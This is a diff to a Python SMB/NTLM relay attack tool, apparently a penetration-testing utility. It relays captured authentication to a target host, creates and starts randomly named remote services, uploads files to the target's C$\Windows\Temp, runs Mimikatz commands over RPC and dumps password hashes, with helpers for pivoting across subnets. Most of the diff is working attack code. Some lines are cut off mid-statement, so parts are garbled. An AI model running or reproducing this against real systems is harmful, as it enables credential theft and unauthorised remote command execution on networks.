ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting): LMhashLen = struct.unpack(' 24: - NthashLen = 64 DomainLen = struct.unpack('= 258: Challenge = data[106:114] - print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") - return Challenge + if Pivoting[0] == "1": + return Challenge + else: + print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") + return Challenge #Here we extract the complete NTLM message from an HTTP request and we will later feed it to our SMB target. def ExtractRawNTLMPacket(data): @@ -241,15 +293,16 @@ def GetSessionResponseFlags(data): if data[41:43] == "\x01\x00": print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.." -#not used. -def SMBKeepAlive(s, data, time): +#Keeps our connection alive. +def SMBKeepAlive(s, data): head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBEcho() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) - time.sleep(time) + time.sleep(1) + #Used for SMB read operations. We grab everything past the Byte Count len in the packet. def ExtractCommandOutput(data): @@ -257,6 +310,15 @@ def ExtractCommandOutput(data): Output = data[63:63+DataLen] return Output +#Used for SMB/DCE-RPC read operations. We grab everything past the Byte Count len in the packet. +def ExtractRPCCommandOutput(data): + DataLen = struct.unpack("i", len(''.join(payload))) + return length + +def ConvertToClassC(Host, Class): + Class = Class.strip() + Ip = re.split(r'(\.|/)', Host) + if Class == "/24": + Ip[6:7] = ["0"] + return ''.join(Ip)+Class + if Class == "/16": + Ip[4:5] = ["0"] + Ip[6:7] = ["0"] + return ''.join(Ip)+Class + else: + print "Illegal class, please use: /24 or /16" + return None + +def GenerateRandomFileName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(random.randint(5, 15))]) + +def GenerateServiceName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) + +def GenerateServiceID(): + return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) + +### +#SMBRelay grab +### + +def GrabNegotiateFromTarget(data, s, Pivoting): + ## Start with nego protocol + session setup negotiate to our target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(buffer0) + smbdata = s.recv(4096) + ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. + if smbdata[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") + t = data[36:] #simply grab the whole packet except the smb header from the client. + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + smbdata = s.recv(4096) + challenge = ExtractSMBChallenge(smbdata, Pivoting)#Grab the challenge, in case we want to crack the hash later. + return data, smbdata, s, challenge + +def SendChallengeToClient(data, smbdata, conn): + ##Relay all that to our client. + if data[8:10] == "\x73\x00": + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = smbdata[36:]#simply grab the whole packet except the smb header from the client. + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + conn.send(buffer0) + data = conn.recv(4096) + return data, conn + ##This function is one of the main SMB read function. We request all the time 65520 bytes to the server. #Add (+32 (SMBHeader) +4 Netbios Session Header + 27 for the ReadAndx structure) +63 and you end up with 65583. #set the socket to non-blocking then grab all data, if our target has less than 65520 (last packet) grab the incoming @@ -307,49 +443,42 @@ def ReadOutput(DataOffset, f, data, s): s, data = SMBReadRecv(s) return data, s, ExtractCommandOutput(data) +##We send our WriteAndX request with our offset. +def WriteOutput(DataOffset, Chunk, data, f, s): + head = SMBHeader(cmd="\x2f", flag1="\x18", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBWriteData(FID=f, Offset = DataOffset, Data= Chunk) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##LockingAndX //should not happens since we didn't request an oplock, but just in case.. + if data[8:10] == "\x24\x00": + head = SMBHeader(cmd="\x24", flag1="\x88", flag2="\x07\xc8", uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBLockingAndXResponse() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + return data, s + ##When used this function will inject an OpenAndX file not found SMB Header into an incoming packet. -##This is usefull for us when an operation fail. We land back to our shell and send directly a -##Tree Connect IPC$ so we don't loose this precious connection. +##This is usefull for us when an operation fail. We land back to our shell send right away a +##Tree Connect IPC$ and start to send SMB echos so we don't loose this precious connection. def ModifySMBRetCode(data): modified = list(data) modified[8:10] = "\x2d\x34" return ''.join(modified) +##We send our ReadAndX request with our offset and call recv() +def SMBDCERPCReadOutput(DataOffset, length,f, data, s): + head = SMBHeader(cmd="\x2e",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBDCERPCReadRequestAndX(FID=f, MaxCountLow=length, MinCount=length,Offset = DataOffset) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(8092) + return data, s, ExtractRPCCommandOutput(data) -### -#SMBRelay grab -### - -def GrabNegotiateFromTarget(data, s): - ## Start with nego protocol + session setup negotiate to our target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") - n = SMBNegoCairo(Data = SMBNegoCairoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - smbdata = s.recv(4096) - ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. - if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") - t = data[36:] #simply grab the whole packet except the smb header from the client. - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - smbdata = s.recv(4096) - challenge = ExtractSMBChallenge(smbdata)#Grab the challenge, in case we want to crack the hash later. - return data, smbdata, s, challenge - -def SendChallengeToClient(data, smbdata, conn): - ##Relay all that to our client. - if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) - t = smbdata[36:]#simply grab the whole packet except the smb header from the client. - packet0 = str(head)+str(t) - buffer0 = longueur(packet0)+packet0 - conn.send(buffer0) - data = conn.recv(4096) - return data, conn ### #BindCall ### @@ -357,7 +486,7 @@ def SendChallengeToClient(data, smbdata, conn): def BindCall(UID, Version, File, data, s): Data = data head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBNTCreateData(FileName=File) + t = SMBNTCreateDataSVCCTL(FileName=File) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 @@ -385,12 +514,13 @@ def BindCall(UID, Version, File, data, s): x = SMBDCEData(CTX0UID=UID, CTX0UIDVersion=Version) x.calculate() f = data[42:44] - t = SMBWriteData(FID=f,Data=x) + t = SMBDCERPCWriteData(FID=f,Data=x) t.calculate() packet0 = str(head)+str(t) buffer1 = longueur(packet0)+packet0 s.send(buffer1) data = s.recv(2048) + ## DCE/RPC Read. if data[8:10] == "\x2f\x00": head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) @@ -403,9 +533,85 @@ def BindCall(UID, Version, File, data, s): return data, s, f ########################### -#Launch And Create Service +#Launch A Mimikatz CMD ########################### -def CreateService(Command, f, host, data, s): +def MimiKatzRPC(Command, f, host, data, s): + ## DCE/RPC MimiKatzRPC. + ## DCE/RPC Write. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCEMimiKatzRPCCommand(CMD=Command) + w.calculate() + x = SMBDCEPacketData(Data=w, Opnum="\x00\x00") + x.calculate() + t = SMBDCERPCWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBReadData(FID=f,MaxCountLow=struct.pack('60: + minutes = Seconds/60 + print 'Fetched in: %.3g minutes.'%(minutes) + if Seconds<60: + print 'Fetched in: %.3g seconds'%(Seconds) + print "Output:\n", Output + return data,s,f + +###################################### +#Launch And Create a MimiKatz Service +###################################### +def CreateMimikatzService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): ## DCE/RPC SVCCTLOpenManagerW. if data[8:10] == "\x2e\x00": head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) @@ -428,10 +634,8 @@ def CreateService(Command, f, host, data, s): ## DCE/RPC Create Service. if data[8:10] == "\x25\x00": ContextHandler = data[84:104] - ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) - ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler, ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) w.calculate() x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) x.calculate() @@ -448,7 +652,6 @@ def CreateService(Command, f, host, data, s): if data[len(data)-4:] == "\x05\x00\x00\x00": print "[+] Failed to create the service\n" return ModifySMBRetCode(data) - #print "[+] Service name: %s with display name: %s successfully created"%(ServiceNameChars, ServiceIDChars) ContextHandlerService = data[88:108] head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) @@ -499,6 +702,225 @@ def CreateService(Command, f, host, data, s): s.send(buffer1) data = s.recv(2048) + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + +########################### +#Stop And Delete A Service +########################### +def StopAndDeleteService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandlerService,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLControlService, stop operation. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService, ControlOperation="\x01\x00\x00\x00") + x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLDeleteService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to stop the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLDeleteService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x02\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLCloseService + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to delete the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCloseService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x00\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + return data, s, f + + +########################### +#Launch And Create Service +########################### +def CreateService(Command, ServiceNameChars, ServiceIDChars, f, host, data, s): + ## DCE/RPC SVCCTLOpenManagerW. + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x02\x00", MachineName=host) + w.calculate() + x = SMBDCEPacketData(Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ##Error handling. + if data[8:10] == "\x2e\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n" + return ModifySMBRetCode(data) + + ## DCE/RPC Create Service. + if data[8:10] == "\x25\x00": + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,BinCMD=Command) + w.calculate() + x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + #print "[+] Creating service" + + ## DCE/RPC SVCCTLOpenService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to create the service\n" + return ModifySMBRetCode(data) + ContextHandlerService = data[88:108] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) + w.calculate() + x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLStartService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to open the service.\n" + return ModifySMBRetCode(data) + ContextHandler = data[84:104] + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) + x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLQueryService. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to start the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLQueryService(ContextHandle=ContextHandlerService) + x = SMBDCEPacketData(Opnum="\x06\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + s.send(buffer1) + data = s.recv(2048) + + ## DCE/RPC SVCCTLControlService, stop operation. + if data[8:10] == "\x25\x00": + if data[len(data)-4:] == "\x05\x00\x00\x00": + print "[+] Failed to query the service.\n" + return ModifySMBRetCode(data) + head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + w = SMBDCESVCCTLControlService(ContextHandle=ContextHandlerService,ControlOperation = "\x01\x00\x00\x00") + x = SMBDCEPacketData(Opnum="\x01\x00",Data=w) + x.calculate() + t = SMBTransDCERPC(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC SVCCTLDeleteService. if data[8:10] == "\x25\x00": if data[len(data)-4:] == "\x05\x00\x00\x00": @@ -735,6 +1157,17 @@ def CloseFID(f, data, s): data = s.recv(2048) return data, s +def SMBDCERPCCloseFID(f, data, s): + ##Close FID Request + if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Open a file for reading ########################### @@ -752,7 +1185,7 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): ##OpenAndX. if data[8:10] == "\x75\x00": head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") - t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) + t = OpenAndX(File=Filename, OpenFunc="\x01\x00", Flags="\x07\x00", DesiredAccess=Access) t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 @@ -765,12 +1198,22 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): #We'll recover that connection.. return data, s, f + if data[8:10] == "\x2d\x43": + time.sleep(1) + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00",DesiredAccess=Access) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + if data[8:10] == "\x2d\x00":##Found all good. f = data[41:43] return data, s, f if data[8:10] == "\x2d\x34":#not found - time.sleep(5)#maybe still processing the cmd. Be patient, then grab it again. + time.sleep(2)#maybe still processing the cmd. Be patient, then grab it again. head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00") t.calculate() @@ -790,11 +1233,60 @@ def SMBOpenFile(Filename, Share, Host, Access, data, s): return data, s, f ########################### -#Read then delete it. +#Open a file for writing +########################### + +def SMBOpenFileForWriting(Filename, FileSize, FileContent, Share, Host, Access, data, s): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\"+Share+"$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##NtCreate. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = SMBNTCreateData(FileName="Windows\\Temp\\"+Filename, CreateFlags="\x00\x00\x00\x00", AccessMask="\x96\x01\x03\x00",FileAttrib="\x20\x00\x00\x00", ShareAccess="\x00\x00\x00\x00", Disposition = "\x02\x00\x00\x00", CreateOptions="\x44\x00\x00\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\xa2\x22": + print "[+] Can't open the file, access is denied (write protected file?)." + f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. + #We'll recover that connection.. + return data, s, f + + if data[8:10] == "\xa2\x35": + print "[+] Name collision, this file already exist in windows/temp/. Try: delete /windows/Temp/"+Filename + f = "A" #Don't throw an exception at the calling function because there's not enough value to unpack. + #We'll recover that connection.. + return data, s, f + + if data[8:10] == "\xa2\x00":##Found, all good. + f = data[42:44] + return data, s, f + + ##OpenAndX. + if data[8:10] == "\xa2\x34": + print "[+] The command failed or took to long to complete." + return data, s + + ##all good. + if data[8:10] == "\xa2\x00": + f = data[41:43] + return data, s, f +########################### +#Open an IPC$ channel. ########################### def SMBOpenPipe(Host, data, s): - ##Start with a Tree connect on C$ + ##Start with a Tree connect on IPC$ head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$") t.calculate() @@ -804,6 +1296,20 @@ def SMBOpenPipe(Host, data, s): data = s.recv(2048) return data, s +########################### +#Close a TID +########################### + +def CloseTID(data, s): + ##Start with a Tree connect on IPC$ + head = SMBHeader(cmd="\x71",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeDisconnect() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Read then delete it. ########################### @@ -864,6 +1370,62 @@ def GrabAndRead(f, Filename, data, s): data = s.recv(2048) return data, s, Output +########################### +#Write it. +########################### +def UploadAndWrite(f, FileSize, FileContent, data, s): + ##WriteRequest for a small file. + if data[8:10] == "\xa2\x00" and FileSize <= 29999: + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x12\x00") + t = SMBWriteData(FID=f, Data=FileContent) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + ##WriteRequest for a big file. + if data[8:10] == "\xa2\x00" and FileSize >= 30000: + ##How many requests? + count_number = int(FileSize/30000)+1 + #Do progress bar for large uploads, so the pentester doesn't fall asleep while doing a large SMB write operations.. + dataoffset = 0 + count = 0 + bar = 80 + start_time = time.time() + print 'File size: %s'%(GetReadableSize(FileSize)) + for i in xrange(count_number): + count = count+1 + Chunk = FileContent[dataoffset:dataoffset+30000] + alreadydone = int(round(80 * count / float(count_number))) + pourcent = round(100.0 * count / float(count_number), 1) + progress = '=' * alreadydone + '-' * (80 - alreadydone) + sys.stdout.write('[%s] %s%s\r' % (progress, pourcent, '%')) + sys.stdout.flush() + + if len(Chunk) == 0: + pass + else: + data, s = WriteOutput(struct.pack("60: + minutes = Seconds/60 + print 'Uploaded in: %.3g minutes.'%(minutes) + if Seconds<60: + print 'Uploaded in: %.3g seconds'%(Seconds) + + ##Close Request + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x04",flag1="\x18", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = CloseRequest(FID = f) + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + ########################### #Read then delete it. ########################### @@ -929,12 +1491,10 @@ def ReadAndDelete(f, Filename, data, s): t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - #print "[+] Deleting file now." s.send(buffer1) data = s.recv(2048) if data[8:10] == "\x06\x00": - #print "[+] File deleted, making sure it's not there anymore.." head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") t = OpenAndX(File=Filename, OpenFunc="\x01\x00") t.calculate() @@ -944,6 +1504,55 @@ def ReadAndDelete(f, Filename, data, s): data = s.recv(2048) return data, s, Output +def DeleteAFile(Filename, data, s, Host): + ##Start with a Tree connect on C$ + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x10\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBTreeConnectData(Path="\\\\"+Host+"\\C$") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + ##DeleteFileRequest. + if data[8:10] == "\x75\x00": + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x21": + time.sleep(1) + head = SMBHeader(cmd="\x06",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x13\x00") + t = DeleteFileRequest(File=Filename) + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + + if data[8:10] == "\x06\x21": + print "[+] Delete Failed. Server ("+Host+") returned STATUS_CANNOT_DELETE, "+Filename+" is currently in use by another process." + print "[+] Try taskkill /F /IM process_name, then delete the file." + return data, s + + if data[8:10] == "\x06\x34": + print "[+] Delete Failed. File not found." + return data, s + + if data[8:10] == "\x06\x00": + head = SMBHeader(cmd="\x2d",flag1="\x10", flag2="\x00\x10",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x11\x00") + t = OpenAndX(File=Filename, OpenFunc="\x01\x00") + t.calculate() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + s.send(buffer1) + data = s.recv(2048) + return data, s + def GrabKeyValue(s, f, handler, data, keypath): ## DCE/RPC OpenKey. if data[8:10] == "\x25\x00": @@ -1088,7 +1697,7 @@ def DumpHashes(data, s, Host): if f == "ServiceNotFound": stopped = True data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s) - data,s,f = StartWinregService(f, Host[0], data, s) + data,s,f = StartWinregService(f, Host, data, s) data,s = CloseFID(f, data,s) 